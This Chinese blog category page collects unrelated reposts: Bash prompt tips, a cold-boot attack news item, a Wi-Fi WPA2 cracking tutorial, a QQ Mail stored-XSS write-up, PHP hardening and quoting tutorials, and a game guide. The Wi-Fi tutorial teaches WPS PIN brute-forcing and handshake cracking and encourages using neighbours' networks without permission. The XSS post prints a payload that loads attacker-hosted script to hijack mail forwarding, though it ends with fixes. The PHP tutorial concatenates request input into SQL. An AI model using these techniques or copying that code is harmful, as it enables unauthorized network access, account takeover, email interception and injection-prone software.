分类 精彩分享 下的文章

PS1/PS2/PS3/PS4 及 PROMPT_COMMAND 的意义

  • PS1: 命令行提示符
  • PS2: 延续命令行提示符
  • PS3: 脚本中 select 语句提示符
  • PS4: 调试模式下脚本命令提示符 (set -x 提示所执行命令)
  • PROMPT_COMMAND: Bash shell 在显示 PS1 提示符前所执行的命令

提示符转义码

Bash shell 允许用户在提示符中使用以下转义符号:

  • \a: 响铃 (ASCII 0x07)
  • \d: 日期 (格式: 星期 月 日)
  • \D{format}: 以指定格式显示当前日期 (格式字符串将传递给 strftime() 函数,若为空则使用本机标准格式)
  • \e: ESC, (ASCII 0x1B)
  • \h: 本机名称 (从左至右直到遇到 '.')
  • \H: 本机名称
  • \j: shell 当前正在处理任务号
  • \l: shell 终端设备基本名称
  • \n: 换行 (ASCII 0x0A)
  • \r: 回车 (ASCII 0x0D)
  • \s: shell 名, $0 的基本名
  • \t: 当前时间, 24小时制, 格式为 HH:MM:SS
  • \T: 当前时间, 12小时制, 格式为 HH:MM:SS
  • \@: 当前时间, 12小时制, 格式为 HH:MM am|pm
  • \A: 当前时间, 24小时制, 格式为 HH:MM
  • \u: 当前用户名
  • \v: Bash 版本
  • \V: Bash 发行号 (版本 + 补丁级别)
  • \w: 当前路径, $HOME 将会被缩写为 ~
  • \W: 当前路径的基本名 (最后一级文件夹), $HOME 处理同上
  • \!: 当前命令的命令历史记录编号
  • \#: 当前命令的编号
  • \$: 如果当前用户 ID 为 0 (超级用户), 则显示 #; 否则显示 $
  • \nnn: 八进制数值 nnn 对应的 ASCII 字符
  • \\: 反斜杠 \
  • \[: 标识不打印字符串的开始
  • \]: 标识不打印字符串的结束

在shell中使用不同颜色输出文字

在 shell 中,可以通过转义序列 [<attr>;<fgcolor>;<bgcolor>m 设置文字的显示属性 (可选择分别或组合设置显示属性/前景色/背景色)。如果要还原字符显示方案 (显示属性/前景色/背景色) 为系统默认,可以使用 \e[m 完成。

attr 控制文字的修饰效果 (终端并一定全部支持)

  • 0: 默认
  • 1: 加亮
  • 2: 变暗
  • 4: 下划线
  • 5: 闪烁
  • 7: 反色显示
  • 8: 隐藏文字
  • 9: 删除线

fgcolor 控制文本颜色

  • 30: 黑色
  • 31: 红色
  • 32: 绿色
  • 33: 黄色
  • 34: 蓝色
  • 35: 紫色
  • 36: 青色
  • 37: 白色

bgcolor 控制文本颜色

  • 40: 黑色
  • 41: 红色
  • 42: 绿色
  • 43: 黄色
  • 44: 蓝色
  • 45: 紫色
  • 46: 青色
  • 47: 白色

显示属性/前景色/背景色定义在不同的数值区间,这样作的好处是不用显示指明颜色的作用域,系统也会从颜色数值推断出用户想要设置的究竟是属性/前景色/背景色。例如,\e[9;41m 是要设置显示属性和背景色,保持前景色不变; \e34m 仅设置前景色。

转义字符ESC的输入:

  • shell 中,如果想输入 ESC (转义) 字符,可以先按 ctrl+v 键后,再按下 ESC 键,系统会显示出 ^[ 表示转义字符输入完成
  • echo 命令中,使用 -e 选项允许转义字符后,可以输入\033\e 表示转义符 ESC
  • printf 命令中,直接使用 \033 即可表示转义符 ESC

光标控制

设置 PS1

PS1 控制着终端中系统默认提示符的格式 (一般系统默认为 \[email protected]\h:\w \$ )。我们可以在PS1控制字符串使用 Bash 预定义的转义符号加入如用户/当前路径/主机名等信息,还可以使用转义字符串控制提示符的颜色。

export PS1='\[\e[0;32m\][\[email protected]\h \w \$]\[\e[m\]'

设置 PS2

PS2 控制终端中命令延续行的格式,一般系统默认为单字符>。和 PS1 一样,可以使用字符/预定义转义字符/转义序列等进行定制。

export PS2='\[\e[0;32m\]~>\[\e[m\]'

设置PS3

PS3 用于控制 shell 中提示用户进行选择的提示符,一般系统默认为 #?

[user @ dir] $ cat ps3test.sh
select i in mon tue wed thu fri exit
do
case $i in
mon) echo "Monday";;
tue) echo "Tuesday";;
wed) echo "Wednesday";;
thu) echo "Thusday";;
fri) echo "Friday";;
exit) exit;;
esac
done
[user @ dir] $ ./ps3test.sh
1) mon
2) tue
3) wed
4) thu
5) fri
6) exit
#? 6
[user @ dir] $ export PS3='Enter your choice: '
[user @ dir] $ ./ps3test.sh
1) mon
2) tue
3) wed
4) thu
5) fri
6) exit
Enter your choice: 6

设置 PS4

调试模式下脚本命令提示符,用以将命令和命令执行结果区分开。系统默认为 +。同样,可以使用各种字符/预定义符号/转义控制序列去设置 PS4,此外,系统还提供了两个可用于 PS4 的变量 $0$LINENO,分别表示脚本名和当前行号。

[user @ dir] $ cat ps4test.sh
#!/bin/bash
export PS4='\[\e[0;37;44m\][email protected]$0:\[\e[m\]'
set -x
ls -l ~ | wc -l
du -s ~/Music
 
[user @ dir] $ ./ps4test.sh
[email protected]/ps4test.sh:ls -l /home/user
[email protected]/ps4test.sh:wc -l
13
[email protected]/ps4test.sh:du -s /home/user/Music
4 /home/user/Music

PROMPT_COMMAND

PROMPT_COMMAND 是 Bash shell 在显示 PS1 提示符前所执行的命令字符串。

export PROMPT_COMMAND="echo -n [$(date +%H:%M:%S)]"

显示:[23:25:38] [[email protected]~/workspace/temp] $

---- 整理自 Bash prompt basics

腾讯数码讯(金鑫)研究人员发现,在给Android手机降温之后,即使手机被加密,你也可以从手机RAM中提取数据。这听上去似乎有点奇怪,但它显然是一个值得认真对待的安全问题。这个问题的研究者是德国埃尔兰根大学的科学家,他们称这个过程为“FROST”(Forensic
Recovery of Scrambled Telephones:加密手机法医恢复法)。

转播到腾讯微博

冰冻后可获取加密数据 Android被指存安全隐患

研究人员在测量三星 Galaxy
Nexus温度(腾讯科技配图)

转播到腾讯微博

冰冻后可获取加密数据 Android被指存安全隐患

加密手机法医恢复法“FROST”的现场(腾讯科技配图)

研究人员发现:如果把手机的RAM冷却足够长的时间,你就可以在一个较短的时间窗口(仅几秒钟)内,把手机连接到电脑上,提取出存储在RAM中的数据。当然,不是手机中存储的所有东西你都可以手到擒来,但有时你可以提取到解锁设备的密码。

“在较低温度下,RAM上的内容不会立刻丢失,”一名研究员解释说:“如果温度是30度,一两秒钟之内内容就会丢失,如果你降低手机的温度,要过五到六秒钟内容才会丢失。这给了我们提供了足够多的时间来重新启动手机并获取内存数据。”

冰冻后可获取加密数据 Android被指存安全隐患

室温下手机RAM丢失数据的速度(腾讯科技配图)

左起第二张图代表研究人员最早可以提取数据时数据的状态, 最后一张图代表6秒种后的状态。

转播到腾讯微博

冰冻后可获取加密数据 Android被指存安全隐患

在不同的温度下,随着时间推移,RAM丢失数据的百分比(腾讯科技配图)

科学家们认为iOS设备没有这个问题,他们指出,要想完整提取手机的数据,就需要解锁bootloader。但即使不解锁bootloader,黑客也有可能提取到Wi-Fi密码、电子邮件、照片等等。完整的研究报告预计将很快发布。

                                                                                               ------摘自:腾讯科技

收藏一下,哈哈~

《She Is My Sin》
《The Dawn》
《The Mass》
《Hero's Theme》
《He's a Pirate》
《1492 Conquest Of Paradise》
《rock House Jail》
《Hummell Gets The Rockets》
《In The Tunnels》
《Halo Theme Mjolnir Mix》

00x00 前言

*为什么我会买8187?

前几个月,家里被停了宽带,按奈不住,打电话给小区外面的整电脑的地方,他们那里竟然有卡皇买,没多想就买了下来.(貌似当时被坑得挺厉害的.
8187芯片 淘宝卖也不超过60.那奸商竟然卖给我300 [有小雷达天线 那货能值多少!!]还说给我优惠了 原价480 各位要入手的注意了哦)
 
00x01 破解前准备
1.Vmware虚拟机(加载cdlnux.iso)
1.cdlinux.iso(文章底部提供下载) 如果想锻炼自己的,可以选用BT6进行测试,那是更专业的研究平台
3.8187l or 3070 芯片的外置网卡一张(教程使用8187l网卡测试)
4.安装网卡驱动(提供8187驱动下载)
 
 
00x02 灌输理论
>.插个话:路由器加密方式 WPA-PSK/WPA2-PSK ; WPA/WPA2 ; WEP 这3种加密方式.
                现在看到加密方式是WEP的路由器估计会很开心,因为WEP加密很容易破,成功率很高.
                     但是随着安全问题的发展 现在使用WEP加密的密码越来越少了,更多人选择安全性相对更高的
                     WPA/WPA2方式的加密了.强悍了很多,但是既然出现了也不是说破不了滴.
                     一个新技术的产生,也不排除带有新的漏洞问题产生
 
>..继续科普:(据我所知)击破WPA2加密方式的方法 
                           1.对开启Qss功能的AP进行Pin码,从00000000穷举到99999999
                           2.对AP进行抓包,当有设备合法加入目标AP时,截获设备与路由器的握手包,然后破解数据包里的密码,俗称跑包.
 
这两种方法是在我看来是应对WPA2加密方式的比较行得通的(如果还有更好的,欢迎留言分享)
 
 
00x03 实践开始[击破WPA2加密无线信号]
刚刚婆妈了一堆,没想到自己还有那么婆妈的一面(其实还有些没写,如果写就要写很多了,童鞋们都困了,有兴趣的自己去查阅相关的资料呗 推荐个专门研究无线的论坛:AnyWlan.com ) 
 
>.新建一个虚拟机安装CDlinux,这部分就跳过.不会的自己摸索安装
因为我使用的是 OSX 的系统 用的Vm虚拟机版本与Window上的版本会有出入,但问题不大.
 
进入CDlinux的界面,插入网卡,点击运行 minidewp-gtk (俗称:小雨滴)
左上角无线网卡那一栏如果显示出网卡名称的话,则表示识别网卡,即可下一步.(如果没有显示则需检查一下虚拟机是否连接usb网卡.貌似win版本的虚拟机的连接按钮在右下角有个USB图标的点击一下)
 
 
 
>.点击扫描,稍等片刻,附近的WiFi热点将会列出来.
可能因为是小区,房屋比较密集,所以能搜到挺多的信号.
说明下在什么情况使用什么样的破解方式.
 
 
[启动] 按钮为抓包模式:当有无线设备连入路由器时,产生的数据将被获取
[Reaver] 按钮为Pin码模式:对目标路由器进行穷举Pin(前提路由器开启了WPS),直到正确的Pin码出现,即能快速得到路由器的PSK密匙
也就是WiFi密码
 
想要更好的破解密码,就要先了解两种方式的优劣之处,以便自己更好的,花更少的时间去破解密码
 
*穷举Pin码模式:加密方式后面带有wps的,就可以使用Pin码. 
点击启动即可开始Pin.
 
 
 
>.提示:Pin码这东西,是拼运气,拼耐心的.如果运气好,是1开头的Pin码就很快就能破出密码了,如果是9开头的那就耐心的等咯.
Pin个两三天的都大有人在,所以必须是需要耐心,只要能Pin,就一定有密码,而且不管用户怎么改密码,只要不改Pin,都可以用
Pin码拿到WiFi密码.
  
 
  优点:只要能Pin通,密码就能到手,且不需要客户端连接路由器.多数路由器默认开启wps
  缺点:耗时长,根据Pin码开头数字,运气差跑个2-3天也是有可能的,且容易把路由器Pin死.
 
 
*抓包模式:使用抓包时,假设对方路由器有设备连接,是抓包的最好时机.
在AP加密方式后面跟着Mac地址 就可以使用抓包.因为这时正有客户端连接.(如:已经抓到了数据包,可以用软件自带的密码跑,如果运气好就能跑出来,一般我都是发到AnyWlan的论坛让有强悍字典的童鞋跑密码)
 
 
 
 
 
 
>.提示:如果要自己跑密码的同学则需下载EWSA和自备字典啦~
  截个跑出刚刚那个路由器的密码
 
 
 
 
  优点:在目标路由器没QSS功能或者关闭的时候相比Pin模式,容易抓到包,运气好密码也很快破出来.
  缺点:路由器长时间没设备连接;好不容易跑出的包,密码太强悍,字典跑不出.
 
  *腾达某款某Mac地址能算出路由器的Pin码
  适用于MAC地址前6位为“C83A35/00B00C”的无线路由器
  为了确保Pin的真实性,最好用 Inflator (俗称:打气筒) 进行验证一下,顺便跑出PSK密码,一般输入计算出来的前五位数
  接下来就交给打气筒跑,这样才能更好的保证密码出来.
 
 
有了Pin码可以直接用8187软件连接,网卡驱动已打包.
 
 
 
 
  00x04 总结
 
  两种方式,供大家参考.
  对于卡皇附带的那个雷达小天线(定向天线,我已经无力吐槽了,外形很不带感,而且辐射应该不小,每次我一插上,不一会脑袋就会晕晕的
  很明显,包装盒写这18db 估计也是唬人的,应该没那么高.但是各种恶心的感觉直逼大脑.于是我就把小雷达定向天线换成了一根6db的全向天线,
  那种令我恶心的感觉瞬间没有,然后测试了下效果,感觉还不错.后期的破解工作都是交给这根全向天线去处理.)
  个人建议,受不了那种感觉的,可以换全向天线试试,40cm 9db 的全向天线也是不错的.至于破解的效果我就不敢保证了,影响破解的因素有很多.
 
  
  如果破解成功的童鞋,希望文明蹭网,不要在正常时间下载电影,之类占用大量宽带资源的行为,一是对自己的行为的一种规范,二是对方觉得网速慢了到时把密码一改或者换更强悍的手段来防御,那多得不偿失.(如果真需要下载,请尽量安排在12点以后,夜深人静,下手...)
 
  原创文章,写了挺久的.有遗漏的地方,欢迎留言指出;如有不明白的地方也可以留言询问.我一定会详细解答~
 
 
 



工具下载

http://pan.baidu.com/share/link?shareid=6127&uk=3827780712



                                                                        转自:http://gov.com.im/art_design/2012/0823/Crack-WiFi-PassWord.html 

只漂流瓶向你飘了过来。。它飘来的可能是对美好生活的向往,可能是对世俗的抱怨,可能是某局长发来的某某某,它,还有可能是XSS!。漂流瓶,作为一项个人认为是“娱乐”的功能,却放在了QQ邮箱这种涉及到个人隐私和私密信息的系统里,一旦存在漏洞,将会导致QQ邮箱本身的安全防护荡然无存。在这个帖子里,我给大家演示的就是,当漂流瓶这个娱乐功能存在存储型XSS之后,对邮箱这个核心功能所带来的影响。 同学们~ 还敢玩漂流瓶么? 当你打开一个漂流瓶之后,QQ号码信息,邮箱里的小秘密就被我知道了,会是一种什么感觉呢?

1. 漏洞成因:漂流瓶某处参数过滤不当,导致存储型XSS。

具体测试过程:

1.1 发送一个漂流瓶,并使用漂流瓶的录音功能。

1.2 定位到发送的漂流上,F12打开调试工具看代码。

1.3 同时查看抓包的代码,可以看到相同内容。

1.4 进而进行字符测试,测试使用\u0022\u003E时,发生侧漏

1.5 说明这里对反斜线的过滤存在问题。

1.6 进一步构造我们的利用代码。下面仅贴出部分源码。

请求时的利用代码



var serv="恶意外部JS文件所在服务器";

var mail2rec="接受转发的邮箱";

var mailUin="发送恶意漂流瓶的Hacker QQ";

var evil_code="voice_21121721212136.mp3\\u0022\\u003e\\u003cimg src=1 onerror=\\u0022loadJSSrc(\\u0027"+serv+"?u="+mail2rec+"\\u0026i="+mailUin+"\\u0027);this.style.display=\\u0027none\\u0027\\u0022\\u003e\\u003cb a=\\u0022";

进行修改邮箱转发设置及传播时,自动扔回大海,删除瓶子等代码



@see http://itsokla.duapp.com/qq_piaoliuping_xss_code.txt

代码中,所用到的pkav Object 见 http://itsokla.duapp.com/pkav.js (from http://pkav.net)

2. 因为成因并不是很复杂,这里主要强调后续利用带来的影响。

邮箱业务和漂流瓶处于同一域名下。就算是cookie加了保护,我们也可以直接通过ajax对邮箱的数据进行操作。因而这里带来的危害是很明显的。

3. 我们以设置邮箱转发作为危害实例。根据缺陷,我们构造好利用代码,并编写利用工具。

4. 在我们发送带有恶意代码的漂流瓶之后,打开我们的收件邮箱,可以看到受害者的邮箱被设置转发了。

5. 这里以我的小号做邮件转发测试,向我的受害者小号发送邮件之后,我们可以在收信箱里看到我们“监听”收到的邮件~

6. 当然上面只是第一级的危害。我们还可以进一步扩大危害范围。

7. 配合cookies收集,我们很容易从cookies里得到受害者的QQ号码信息。进而通过QQ资料获取更多的信息。以便下一步进行攻击!

8. 这里再“假设”受害者同时是微博的用户,或者百度的用户,由于微博或者百度官方通常会发一些系统提醒邮件,这个时候我们可以进一步获取受害人信息。(其实不用假设,经过取样分析,这种情况是很常见的。):

那么我们如果利用百度的密码找回功能。

可以看到我们就可以收到对方的密码修改邮件,从而实现密码的修改。

10. 上面只是以百度作为例子,现在的密码找回功能,很多都是与邮箱挂钩的!而当前许多用户都是使用的QQ邮箱,因而会威胁到用户其它网站的安全。

11. 由于是同域,我们甚至可以伪装受害者向受害者的朋友发送欺诈邮件,由于是二次攻击,信任关系增强,危害将会变得更大。

12. 当然,漂流瓶这个蠕虫,还有个特点,就是利用漂流瓶自己的传播功能,自发蠕虫,隐蔽,不易被发现。

13. 我们不难看到,一个娱乐圈的混进了行政圈,带来了多么严重操蛋的后果啊!!

修复方法:

1. 修复XSS问题。

2. 建议将漂流瓶这个功能与邮箱进行业务隔离。以免因小失大!

3. 建议将“邮件转发”这种涉及到邮件安全的设置动作,加上验证码操作,以防止由于普通XSS而导致的后门功能!


摘自:暗月博客

(1) 打开php的安全模式



php的安全模式是个非常重要的内嵌的安全机制,能够控制一些php中的函数,比如system(),

同时把很多文件操作函数进行了权限控制,也不允许对某些关键文件的文件,比如/etc/passwd,

但是默认的php.ini是没有打开安全模式的,我们把它打开:

safe_mode = on





(2) 用户组安全



当safe_mode打开时,safe_mode_gid被关闭,那么php脚本能够对文件进行访问,而且相同

组的用户也能够对文件进行访问。

建议设置为:



safe_mode_gid = off



如果不进行设置,可能我们无法对我们服务器网站目录下的文件进行操作了,比如我们需要

对文件进行操作的时候。





(3) 安全模式下执行程序主目录



如果安全模式打开了,但是却是要执行某些程序的时候,可以指定要执行程序的主目录:



safe_mode_exec_dir = D:/usr/bin



一般情况下是不需要执行什么程序的,所以推荐不要执行系统程序目录,可以指向一个目录,

然后把需要执行的程序拷贝过去,比如:



safe_mode_exec_dir = D:/tool/exe



但是,我更推荐不要执行任何程序,那么就可以指向我们网页目录:



safe_mode_exec_dir = D:/usr/www





(4) 安全模式下包含文件



如果要在安全模式下包含某些公共文件,那么就修改一下选项:



safe_mode_include_dir = D:/usr/www/include/



其实一般php脚本中包含文件都是在程序自己已经写好了,这个可以根据具体需要设置。





(5) 控制php脚本能访问的目录



使用open_basedir选项能够控制PHP脚本只能访问指定的目录,这样能够避免PHP脚本访问

不应该访问的文件,一定程度上限制了phpshell的危害,我们一般可以设置为只能访问网站目录:



open_basedir = D:/usr/www





(6) 关闭危险函数



如果打开了安全模式,那么函数禁止是可以不需要的,但是我们为了安全还是考虑进去。比如,

我们觉得不希望执行包括system()等在那的能够执行命令的php函数,或者能够查看php信息的

phpinfo()等函数,那么我们就可以禁止它们:



disable_functions = system,passthru,exec,shell_exec,popen,phpinfo



如果你要禁止任何文件和目录的操作,那么可以关闭很多文件操作





disable_functions=chdir,chroot,dir,getcwd,opendir,readdir,scandir,fopen,unlink,delete,



copy,mkdir,rmdir,rename,file,file_get_contents,fputs,fwrite,chgrp,chmod,chown



以上只是列了部分不叫常用的文件处理函数,你也可以把上面执行命令函数和这个函数结合,

就能够抵制大部分的phpshell了。





(7) 关闭PHP版本信息在http头中的泄漏



我们为了防止黑客获取服务器中php版本的信息,可以关闭该信息斜路在http头中:



expose_php = Off



比如黑客在 telnet www.target.com 80 的时候,那么将无法看到PHP的信息。





(8) 关闭注册全局变量



在PHP中提交的变量,包括使用POST或者GET提交的变量,都将自动注册为全局变量,能够直接访问,

这是对服务器非常不安全的,所以我们不能让它注册为全局变量,就把注册全局变量选项关闭:

register_globals = Off

当然,如果这样设置了,那么获取对应变量的时候就要采用合理方式,比如获取GET提交的变量var,

那么就要用$_GET['var']来进行获取,这个php程序员要注意。





(9) 打开magic_quotes_gpc来防止SQL注入



SQL注入是非常危险的问题,小则网站后台被入侵,重则整个服务器沦陷,



所以一定要小心。php.ini中有一个设置:



magic_quotes_gpc = Off



这个默认是关闭的,如果它打开后将自动把用户提交对sql的查询进行转换,

比如把 ' 转为 '等,这对防止sql注射有重大作用。所以我们推荐设置为:



magic_quotes_gpc = On





(10) 错误信息控制



一般php在没有连接到数据库或者其他情况下会有提示错误,一般错误信息中会包含php脚本当

前的路径信息或者查询的SQL语句等信息,这类信息提供给黑客后,是不安全的,所以一般服务器建议禁止错误提示:



display_errors = Off



如果你却是是要显示错误信息,一定要设置显示错误的级别,比如只显示警告以上的信息:



error_reporting = E_WARNING & E_ERROR



当然,我还是建议关闭错误提示。





(11) 错误日志



建议在关闭display_errors后能够把错误信息记录下来,便于查找服务器运行的原因:



log_errors = On



同时也要设置错误日志存放的目录,建议根apache的日志存在一起:



error_log = D:/usr/local/apache2/logs/php_error.log



注意:给文件必须允许apache用户的和组具有写的权限。





MYSQL的降权运行



新建立一个用户比如mysql



net user mysql mysql /add



net localgroup users mysql /del



不属于任何组



如果MYSQL装在d:mysql ,那么,给 mysql 完全控制的权限,然后在系统服务中设置,MYSQL的服务属性,在登录属性当中,选择此用户 mysql 然后输入密码,确定。重新启动 MYSQL服务,然后MYSQL就运行在低权限下了。



apache的降权运行



在windows平台下搭建的apache默认运行是system权限,给apache降降权限。



net user apache apche /add



net localgroup users apache /del



我们建立了一个不属于任何组的用户apche。



我们打开计算机管理器,选服务,点apache服务的属性,我们选择log on,选择this account,我们填入上面所建立的账户和密码,重启apache服务,ok,apache运行在低权限下了。



实际上我们还可以通过设置各个文件夹的权限,来让apache用户只能执行我们想让它能干的事情,给每一个目录建立一个单独能读写的用户。

摘自: 121部落


小编的狼人猎人,终于在今天BB毕业,顺便附送蹲点规律。(仅供参考)

 

贴角色玉照一枚:

 

大部分灵魂兽一般在8-16这周围,高发时间是8-14。最有可能刷新时间点:8,10,12,14,15,16。这些只是对于大多数来讲。

猫头鹰和紫色蜘蛛大多数在14左右,

安卡和马格CD时间比较短,6-8小时左右。

盆地豹子在右下角的刷新点刷新频率很高。

电狼逐日在靠近寡妇村的刷新点刷新几率高。

安卡和马格刷新点只有最左边火焰之门下面的树林下,但是,安卡和马格会到处跑,跑得很快。

桑巴斯在中间三点刷新概率高

猫头鹰出现点在刷新点的左上角。

绿色蜘蛛开YY和加速药水,可以直接抓。

 

还有个小技巧提前说明下,在熔火前线做过任务的童鞋,都知道要跳台阶吧,如果跳到最高的那个台阶,原地跳起,会送你个BUFF:施法速度+100%,跳的更高。有了这个BUFF,抓卡尔金和刀疤可以直接抓。

 

下面是小编蹲守的一些小经验,和苦逼经历:

阿克图瑞斯,俗称大角,说起来这是小编的第二只灵魂兽,第一只是盆地豹。在小编第一次去找它的时候,没过10分钟就刷了。现在随身带着,只因为长的霸气~~

这是黑E的BOSS,当初单刷的时候,刷不过,就给他驯服了,很霸气的BOSS。这造型最有爱了~

这是前几个版本的老宠物了,不过普通狼造型里是最有爱的。

   

这是在盆地偶然发现的,虽然很少有人带,不过这种造型的蛇还是很好看的、

 

这个宠物我守了28个小时,当时小编还不会清理插件缓存,导致白等了10个小时,最后问了度娘,终于收入囊中。所以看见这个还是内牛满面的。

辛巴绝对霸气~~(CD时间在6-14小时左右)

这个猫头鹰我守了三个CD,

第一次等烦了,就去熔火前线跑了一圈,回来就让人抓了。

第二次,有个经验丰富的猎人骑着坐骑在空中,我在树杈上,灵活性比我好,比我快了一步。小编一看就着急了,破冰跟他抢仇恨,下了冰冻陷阱,那个猎人也急了,就给我破冰了。猫头鹰就秒杀了那个经验丰富的猎人。正要驯服,小编发现没换天赋,果断悲催,被猫头鹰秒了以后,眼睁睁的看着别人把它驯服了。

第三次除了小编以外就没人守BB了,本来想在树杈上抓,结果坐骑取消早了,换了一种抓取方式(打一下,快落地的时候后跳+降落伞,小编很无耻的用了后跳降落伞宏 ),终于收入囊中。(最近五次刷新CD:14,14,11,16,14)

 

这个蜘蛛说起来是最难的,也是最纠结的。因为前三个CD都是因为被人帮忙,结果宠物自杀了。这个宠物有三个技能:耗费10%的血秒杀近距离目标;长时间不打就会加速;在血少于20以下的时候才能驯服。

所以,前三次都是因为有猎人帮忙,在血量少于20%的时候,帮忙的猎人复活了宠物,我也复活了,导致蜘蛛的惨死。而且这个蜘蛛刷新CD是8小时到16小时,很耗时间。

第四次驯服的时候,是晚上12点多,当时有三个猎人想帮我抓了蜘蛛,这次我让猎人们把BB全部解散掉,防止蜘蛛自杀。当晚还遇见一个部落,差点用冰冻陷阱和驱散射击害死我,不过在猎人的强大输出下,顺利秒杀了部落,将蜘蛛收到。(最近几次CD:14,14,12,16)

 

 

其他的宠物有些是去刷新点正好刷了,还有一些就是其他猎人的帮忙、报信抓住的。下面是其他宠物展示:

         

 

希望有爱的盆友找我来玩啊~~

 

                                                                                               二区   爱斯特纳   第十行星


摘自:百度文库


“单引号和双引号的区别和用法?”现将答案总结了下,写成这篇小短文。 

" "双引号里面的字段会经过编译器解释,然后再当作HTML代码输出。 
' '单引号里面的不进行解释,直接输出。 
例如: 
$abc='my name is tome'; 
echo $abc //结果是:my name is tom 
echo '$abc' //结果是:$abc 
echo "$abc" //结果是:my name is tom 
特别在使用MYSQL语句的时候,双引号和单引号的用法让新手不知所措,在这里,举个例子,来进行说明。 
假设查询条件中使用的是常量,例如: 
select * from abc_table where user_name='abc'; 
SQL语句可以写成: 
SQLstr = "select * from abc_table where user _name= 'abc'" ; 
假设查询条件中使用的是变量,例如: 
$user_name = $_REQUEST['user_name']; //字符串变量 
或 
$user=array ("name"=> $_REQUEST['user_name‘,"age"=>$_REQUEST['age'];//数组变量 
SQL语句就可以写成: 
SQLstr = "select * from abc_table where user_name = ' " . $user_name . " ' "; 
SQLstr = "select * from abc_table where user_name = ' " . $user["name"] . " ' "; 
对比一下: 
SQLstr="select * from abc_table where user_name = ' abc ' " ; 
SQLstr="select * from abc_table where user_name =' " . $user _name . " ' "; 
SQLstr="select * from abc_table where user_name =' " . $user["name"] . " ' "; 
SQLstr可以分解为以下3个部分: 
1:"select * from table where user_name = ' " //固定SQL语句 
2:$user //变量 
3:" ' " 
1,2,3部分字符串之间用"." 来连接 
一、引号定义字符串
在PHP中,通常一个字符串被定义在一对引号中,如:
'I am a string in single quotes'
"I am a string in double quotes"
PHP语法分析器是用成对的引号来判断一个字符串的。因此,所有字符串必须使用同一种单或者双引号来定义开始和结束。例如,下面的字串定义是不合法的:
"I am not a valid string since I have unmatching quote marks'
'Me neither!"
定义字符串时,只有一种引号被视为定义符,即单引号或双引号。于是,如果一个字符串由双引号开始,那么只有双引号被分析器解析。这样,你就可以在双引号串中包含任何其他字符,甚至单引号。下面的引号串都是合法的:
$s = "I am a 'single quote string' inside a double quote string";
$s = 'I am a "double quote string" inside a single quote string';
当PHP遇到与串的开头相对应的引号时,便认为已经到了字符串尾部,于是:
"Why doesn't "this" work?"
实际上被PHP语法分析器分成三个部分:
"Why doesn't "——包含一个单引号的双引号串
this——多余的字符,分析器无法处理
" work?" ——普通字符串
上面的这个例子企图在双引号串中包含双引号,而分析器在遇到第二个双引号时便认为字符串结束了。要达到包含引号的目的,必须分析器在遇到串内普通引号的时候忽略它的原意,我们在引号的前面加上一个反斜杠来告诉PHP:这个引号是字符串的一部分,正确的表示方法是这样:
"Why doesn't \"that\" work?"
在英文字符串中一个常见的问题是撇号'的使用,因为它就是一个单引号,而在英文串中十分常见(英文所有格)。你必须小心处理这些字符:
'You\'d better escape your apostrophes'
可以看到反斜杠在字符串中有他的特殊含义,当我们需要在字符串中包含反斜杠本身时,需要在该符号前面多加一个反斜杠。例如:
$file = "c:\windows\system.ini";
echo $file; // 打印结果为: c:windowssystem.ini
$file = "c:\\windows\\system.ini";
echo $file; // 打印结果为: c:\windows\system.ini
另一种字符串定义方式,能够消除特殊字符的烦恼,而且便于引用较长的文本。该字符串定义方法以<<<符号紧跟一个自定义字符串开头,最后一行以该自定义字符串结束,并且必须顶格。
二、字串的连接
字串可以使用字串连接符(.)来连接,如:
$first_name = 'Charlie';
$last_name = 'Brown';
$full_name = $first_name . ' ' . $last_name;
常见的用途是建立大块的HTML字串代码,赋值号 (=) 连接符 (.) 可以被简写合并为 (.=) 符
号,如:
$html = '<table>';
$html .= '<tr><td>number</td><td>square</td></tr>';
for ( $i=0 ; $i<10 ; $i++) {
$square = $i * $i;
$html .= '<tr><td>' . $i . '</td><td>' . $square . '</td></tr>';
}
$html .= '</table>';
三、在字串中使用变量
这个功能让你无须使用连接符号来粘和大量的简单字符串。PHP允许我们在双引号串中直接包含字串变量,我们可以发现下面的两个字串的处理结果是相同的。
$full_name = $first_name . ' ' . $last_name;
$full_name = "$first_name $last_name";
单引号串和双引号串在PHP中的处理是不相同的。双引号串中的内容可以被解释而且替换,而单引号串中的内容总被认为是普通字符。例如:
$foo = 2;
echo "foo is $foo"; // 打印结果: foo is 2
echo 'foo is $foo'; // 打印结果: foo is $foo
echo "foo is $foo\n"; // 打印结果: foo is 2 (同时换行)
echo 'foo is $foo\n'; // 打印结果: foo is $foo\n
正如你所看到的,在单引号串中甚至反斜杠也失去了他的扩展含义(除了插入反斜杠\\和插入单引号\')。所以,当你想在字串中进行变量代换和包含\n(换行符)等转义序列时,你应该使用双引号。单引号串可以用在其他任何地方,脚本中使用单引号串处理速度会更快些,因为PHP语法分析器对单引号串的处理方式比较单纯,而双引号的处理由于串内部也需要解析,因此更复杂些,所以处理速
度略慢。
在字符串中引用复杂的变量组合时,可能会产生一些问题,下面的代码会正常工作:
echo "value = $foo";
echo "value = $a[$i]";
而下面的代码却不能得到我们希望的结果:
echo "value = $a[$i][$j]"; //我们希望打印二维数组$a的某个元素。
为避免这些字串使用中的潜在问题,我们通常把复杂的变量从字串中分离开来,就像这样:
echo 'value = ' . $a[$i][$j];
还有一种办法是将复杂变量用花括号括起来,语法分析器就能正确辨认了:
echo "value = {$a[$i][$j]}" //打印二维数组$a的某个元素
这样,又出现新问题了。当我们想在字串中引用花括号字符本身时,就要记得使用转义符了:
$var = 3;
echo "value = {$var}"; // 打印结果 "value = 3"
echo "value = \{$var}"; // 打印结果 "value = {3}"
三、斜杠和SQL语句
生成HTML代码或SQL查询语句是编写PHP程序时经常遇到而且是件有趣的事情。为什么这么说呢,因为这涉及到生成另外一种类型的代码,你必须仔细地考虑和遵循这种代码所要求的编写语法和规则。
我们来看这样一个例子,假如你想查询数据库中名字是“O'Keefe”的用户,通常SQL语句的形式是这样的:
select * from users where last_name = 'O\'Keefe'
请注意SQL语句这个英文所有格(撇号)需使用反斜杠转义。PHP专门提供了一些函数来处理这样的情况,函数AddSlashes($str)的用途就是自动在字串中对引号字符插入反斜杠转义符:
$last_name = "O'Keefe";
$sql = "select * from users where last_name = '" . addslashes($last_name) . "'";
在这个例子中,你还要在last_name字串外面括上单引号(SQL语法要求),由于这里使用的是双引号串,所以对这对单引号就无须使用转义了。下面的这个语句是使用单引号串的等价形式:
$sql = 'select * from users where last_name = \'' . addslashes($last_name) . '\'';
